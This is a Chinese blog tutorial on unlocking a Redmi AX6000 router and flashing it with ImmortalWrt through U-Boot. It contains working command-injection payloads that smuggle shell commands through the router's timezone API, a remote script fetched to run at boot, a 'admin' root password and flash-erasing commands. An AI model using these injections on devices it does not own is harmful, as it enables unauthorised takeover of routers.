Redmi AX6000 刷 OpenWrt
一直想尝试玩玩软路由,但是家里实在没有软路由的需求,外加不知道该入手什么机器来刷软路由,所以迟迟没有入手。最近研究生要开学了,但是学校的有线网要下载专用软件认证才能上网,终于找到合适的理由入手一款软路由了。经过一番搜索,我决定入手 Redmi AX6000。
这次要往路由器中刷入的系统是 ImmortalWrt,这是一个 OpenWrt 的分支,更适合中国宝宝体质。刷入的流程和 OpenWrt 是一样的,所以下面用 OpenWrt 指代 ImmortalWrt。
前置条件:一台可以上网的旧路由器,一台 Redmi AX6000,一台电脑,一根取卡针,网线若干。
刷入 OpenWrt
开启并固化 SSH、Telnet
连网线:Redmi AX6000 WAN 口连旧路由器,LAN 口连电脑。
进入路由器 Web 配置页面 http://192.168.31.1 并设置密码。
获取 Session Token。重新进入 Web 配置页面,登录后注意浏览器地址栏会发生变化:
http://192.168.31.1/cgi-bin/luci/;stok=d70928db7692d536cacb6feaf42154f0/web/home#router
其中
;stok=后面的部分d70928db7692d536cacb6feaf42154f0就是我们本次登录的 Token。将 Token 复制下来。开启 Telnet。接下来我们要利用 URL 实现的命令注入攻击在路由器上执行命令。所有命令都应该返回
{"code":0}。开启调试模式
要注入的命令:
echo pVoAAA== | base64 -d | mtd write - crash
要执行的攻击命令(将
{token}替换为实际 Token):curl 'http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20'
重启路由器以应用更改
要注入的命令:
reboot
要执行的攻击命令(将
{token}替换为实际 Token):curl 'http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20reboot%20%3B%20'
等待路由器重启。注意路由器重启后旧的 Session Token 会失效,重新登陆 http://192.168.31.1 以获取新的 Session Token。
设置 Bdata 永久开启 Telnet
要注入的命令:
bdata set telnet_en=1
bdata set ssh_en=1
bdata set uart_en=1
bdata commit
要执行的攻击命令(将
{token}替换为实际 Token):curl 'http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20'
重启路由器以应用更改
要注入的命令:
reboot
要执行的攻击命令(将
{token}替换为实际 Token):curl 'http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20reboot%20%3B%20'
等待路由器重启。
开启 SSH
使用 Telnet 登录路由器:
telnet 192.168.31.1
修改 root 帐户密码
echo -e 'admin\nadmin' | passwd root
固化 SSH:
nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
/etc/init.d/dropbear restart
设置 SSH 永久开启:
mkdir /data/auto_ssh && cd /data/auto_ssh
curl -O https://cdn.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh # 这步需要 Redmi AX6000 连接网络才能执行
chmod +x auto_ssh.sh
uci set firewall.auto_ssh=include
uci set firewall.auto_ssh.type='script'
uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh'
uci set firewall.auto_ssh.enabled='1'
uci commit firewall
用上述方法开启 SSH 后,可能会导致路由器时区异常。可以通过以下命令修复:
uci set system.@system[0].timezone='CST-8'
uci set system.@system[0].webtimezone='CST-8'
uci set system.@system[0].timezoneindex='2.84'
uci commit
关闭调试模式:
mtd erase crash
重启路由器:
reboot
等待路由器重启。
刷入 U-Boot
U-Boot,相当于路由器的 BIOS
使用 SSH 登录路由器
ssh root@192.168.31.1
密码为
admin。备份原厂分区
dd if=/dev/mtd1 of=/tmp/mtd1_BL2.bin
dd if=/dev/mtd2 of=/tmp/mtd2_Nvram.bin
dd if=/dev/mtd3 of=/tmp/mtd3_Bdata.bin
dd if=/dev/mtd4 of=/tmp/mtd4_Factory.bin
dd if=/dev/mtd5 of=/tmp/mtd5_FIP.bin
下载备份到本地计算机
scp mtd* USER@HOST:Downloads
将
USER@HOST修改为本地计算机的用户名和密码上传 U-Boot 文件到路由器。我们使用的是 hanwckf 大佬开发的 U-Boot。首先进入 U-Boot 发布页面,下载
bl-mt798x-release-20xxxxxx.7z,解压后找到mt7986_redmi_ax6000-fip-fixed-parts-multi-layout.bin就是我们需要的 U-Boot 文件。接下来上传 U-Boot 文件。在本地计算机执行:
scp mt7986_redmi_ax6000-fip-fixed-parts-multi-layout.bin root@192.168.31.1:/tmp
刷入 U-Boot。注意在此过程中一定不要断电,否则会变砖。
# 校验文件
md5sum /tmp/mt7986_redmi_ax6000-fip-fixed-parts-multi-layout.bin # 608e72bd18d4e605f72aac8828a1c82e
# 擦除 FIP 中的内容
mtd erase FIP
# 将 U-Boot 写入 FIP
mtd write /tmp/mt7986_redmi_ax6000-fip-fixed-parts-multi-layout.bin FIP
# 校验 mtd
mtd verify /tmp/mt7986_redmi_ax6000-fip-fixed-parts-multi-layout.bin FIP
刷入 OpenWrt 固件
设置电脑的静态 IP 地址。在 U-Boot 模式下路由器无法提供 DHCP 功能,因此需要我们手动设置 IP 地址:
IP 地址:
192.168.31.100子网掩码:
255.255.255.0网关:
192.168.31.1首选 DNS 服务器:
192.168.31.1路由器进入 Failsafe 模式。拔掉路由器电源,用牙签按住路由器 RESET 按钮不放,接通路由器电源,15 秒后松开 RESET 按钮,此时就进入了 U-Boot 模式。接下来打开路由器 Web 配置界面 http://192.168.31.1 。
上传 OpenWrt 固件。我们使用恩山大佬 237176253 编译的 ImmortalWrt 固件。打开网盘(密码:
6wnv),找到ax6000-uboot.zip和ax6000-uboot-mini.zip两个文件。它们都是为 Redmi AX6000 编译好的 ImmortalWrt 固件,区别是ax6000-uboot.zip预装的插件较多,而ax6000-uboot-mini.zip则更为精简,只安装了 OpenClash。需要注意的是路由器上装的插件太多可能会导致运行不稳定。作者对ax6000-uboot.zip版本的更新貌似更为频繁。下载你喜欢的版本并解压,这里我使用的是ax6000-uboot.zip。先选择 mtd layout 为
immortalwrt-110m,接下来点 Upload 上传我们解压出来的 ImmortalWrt 固件,上传成功后点 Update 更新固件。整个过程会持续 1 分钟左右。更新成功后将电脑网络的 IP 设置改为 DHCP,此时路由器的 Web 配置界面变为了 http://192.168.6.1,用户名
root,密码password。此时我们就完成了整个刷机过程。如果刷固件后等很久系统都没有起来,可以断电重新进 U-Boot 再刷一次。
配置 OpenWrt
设置 Wi-Fi 密码
ImmortalWrt 默认没有设置 Wi-Fi 密码。如果要设置 Wi-Fi 密码,进入 Web 配置页面 http://192.168.6.1,在 网络 > 无线 中找到你要配置的无线接口:

认证模式选择 WPA3PSK,然后设置你的密码:

禁用 IPv6
开启 IPv6 可能会产生一些网络问题,因此建议关闭 IPv6。在 网络 > DHCP/DNS > 高级设置 中找到 禁止解析 IPv6 DNS 记录 项并勾选。
开启 IPv6 可能导致的问题有:
由于 IPv6 路由优化不佳,导致 IPv6 流量经常绕地球一圈使得延迟爆涨。而大多数系统会在 IPv6 可用时优先使用 IPv6,因此你可能会发现开启 IPv6 之后网速变得很慢。
大多数机场不支持转发 IPv6 流量,导致代理失效。
恢复原厂系统
如果你不想玩 OpenWrt 了,想恢复原厂系统,可以这么做:
上传备份的 FIP 分区文件
mtd5_FIP.bin:scp -O mtd5_FIP.bin root@192.168.6.1:/tmp
写入 FIP 分区:
insmod mtd-rw.ko i_want_a_brick=1
md5sum /tmp/mtd5_FIP.bin
mtd write /tmp/mtd5_FIP.bin FIP
mtd verify /tmp/mtd5_FIP.bin FIP
下载小米路由器修复工具并运行。
拔掉路由器电源,用牙签按住路由器 RESET 按钮不放,接通路由器电源,15 秒后松开 RESET 按钮进入恢复模式。路由器将自动写入原厂系统。
参考:
红米 Redmi AX6000 开启 SSH、Telnet 及 OpenWrt/LEDE 刷机教程,附件增加救砖工具跟 OP 固件 | 恩山无线论坛
红米 AX6000 刷 hanwckf 大佬的不死 uboot + 刷回官方固件 + TTL 救砖 + 编程器救砖教程 | 恩山无线论坛
Troubleshooting
scp 无法传输文件
解决方法:
scp -O file USER@HOST:/path/to/dest
参考:使用 scp 复制文件到 openwrt 出现错误 ash: /usr/libexec/sftp-server: not found | 漳木容
Redmi AX6000 刷 OpenWrt的更多相关文章
- 360路由器刷openwrt后设置wifi中继
上一篇文章(360路由器刷openwrt.不死uboot.双系统 .wifi中继 - 飞鸿影~ - 博客园)讲了如何在360路由器C301上安装openwrt以及安装双系统.这篇文章讲如何设置无线中继 ...
- 360路由器刷openwrt、不死uboot、双系统 、wifi中继
该类教程网上有很多,但是很多不全,给小白用户造成了很多困扰.我也是按照网上的教程刷了半天,才熟悉了是怎么个回事.这里整理成教程. 注意: 请看教程步骤走,不要跳跃性刷机.不懂的术语.软件,若本文无介绍 ...
- Huawei HG556a A版 刷 openwrt
一直想玩玩openwrt,调研了一下 HG556a尽管散热很烂,但性价比超高,于是淘宝入手一台A版,A版和C版区别为wifi芯片: 到货后在网上找了几个教程便开始动手刷openwrt,但刷机的过程中还 ...
- WE-1202 (JGX-X5 v1.3)刷openwrt
当前固件版本显示 固件版本 RippleOS硬件型号 RippleTek WE-1202CPU型号是 MT7620N路由主板上面丝印是 JGX-X5 v1.3 买的时候选择的RippleOS固件,后 ...
- 史上最全面的Buffalo WHR-G300N CH v2 刷OpenWrt教程
Buffalo WHR-G300N CH v2 刷OpenWrt.有两种办法.一种是Windows下刷.一种是在linux下使用tftp刷.Buffalo WHR-G300N-CH v2的openwr ...
- [无线路由] “免费”斐讯K2路由器刷OpenWRT(实战MWAN多宽带网速叠加)
(阿财首发于什么值得买)斐讯K2可以算是一个非常另类的跨界数码产品,其产品完全的醉翁之意不在酒.最多值99元的 MT7260硬件架构和用料,售价399元,金额激活K码后自动转入合作理财P2P平台,等待 ...
- 网络|N1盒子做旁路由刷OpenWRT系统(小白专用)
N1盒子做旁路由刷OpenWRT系统(小白专用) 为什么要用N1盒子 现如今新上市的路由器,市面上能买到的300元以内的路由器大多数都是双频(5G Hz和2.4G Hz)和几年前相比无论是速度还是性能 ...
- 路由器硬改+刷OpenWrt+挂载摄像头+U盘
标题: 路由器硬改+刷OpenWrt+挂载摄像头+U盘 作者: 梦幻之心星 347369787@QQ.com 标签: [路由器, OpenWrt, 摄像头, 固件] 目录: 路由器 日期: 2019- ...
- openwrt开发笔记二:树莓派刷openwrt
前言及准备 本笔记适用于第一次给树莓派刷openwrt系统的玩家,对刷机过程及注意事项进行了记录,刷机之后对openwrt进行一些简单配置. 使用openwrt源码制作固件需要花费一点时间. 平台环境 ...
- TP-LINK WR841N V8刷OpenWRT
在某宝上淘了一个TP-LINK WR841N V8,已经硬改为8M闪存和64M内存,还刷好了Uboot.但是卖家刷好的系统是第三方定制过的OpenWRT,集成了很多不需要用到的软件,所以我要刷回官方原 ...
随机推荐
- 不是人家太装逼,而是我们太low
在一个社团的迎新的时候,每个人自我介绍.等到一个一身LV,爱马仕的女孩子自我介绍,说起爱好,她想了想说:喜欢跑车.然后很淡定的坐下了.很多同学你看我我看你,投以"炫富"的判断目光- ...
- SpringBoot集成日志框架
springboot默认日志是打印在console中,不会保存在文件中.我们项目上线肯定要保存日志用于分析问题的. 使用xml配置日志保存 并不需要pom配置slf4j依赖,starter里面已经配置 ...
- Java核心基础之数据类型
Java内置数据类型 计算机基础知识 bit 位 ,即0或者1, 0101010110 byte字节,8位作为⼀个字节,字节是处理数据的基本单位 1 byte = 8bits 1KB = 1024 b ...
- (五)Redis 缓存异常、应对策略
1.缓存和数据库不一致 只要我们使用 Redis 缓存,就必然会面对缓存和数据库间的一致性保证问题,这里的"一致性"包含了两种情况:缓存中有数据且与数据库中的值相同.缓存中没有数据 ...
- Cush:从辞职自学编程到被 Apple、PriceTag推荐
名字:Cush 开发者 / 团队:ShaSha 平台:iOS.macOS 请简要介绍下这款产品 也许你听过记账可以帮助省钱,但总是浅尝辄止? 快试试 Cush!它精简了记账中所有复杂繁琐的步骤,简单精 ...
- elementplus弹窗可拖拽draggable,点击空白处不消失close-on-click-modal,modal是否去掉遮罩层
<el-dialog :modal="false" v-model="dialogVisible" title="" width=&q ...
- 题解:AT_abc360_c [ABC360C] Move It
背景 机房大佬掉大分了,乐悲. 题意 给你几个箱子和每个箱子里装有的东西 \(a\) 和对应的重量 \(w\),现在要让每个箱子里都装有一个东西,每次可以移动任意一个箱子中的任意一个东西,代价为它的重 ...
- FFmpeg开发笔记(四十一)结合OBS与MediaMTX实现SRT直播推流
<FFmpeg开发实战:从零基础到短视频上线>一书的"10.2 FFmpeg推流和拉流"提到直播行业存在RTSP和RTMP两种常见的流媒体协议.除此以外,还有于20 ...
- Efficientvit: Enhanced linear attention for high-resolution low-computation visual recognition
GitHub地址: https://github.com/mit-han-lab/efficientvit#usage 相关: https://www.jetson-ai-lab.com/vit/tu ...
- 人形机器人sim2real —— 致使现实环境与仿真环境下的差距的因素 —— sim2real
下图引自:https://b2b.baidu.com/q/aland?q=7B7474317C2E72330F621B0F7D6F09247E747E610623742B&id=qid599a ...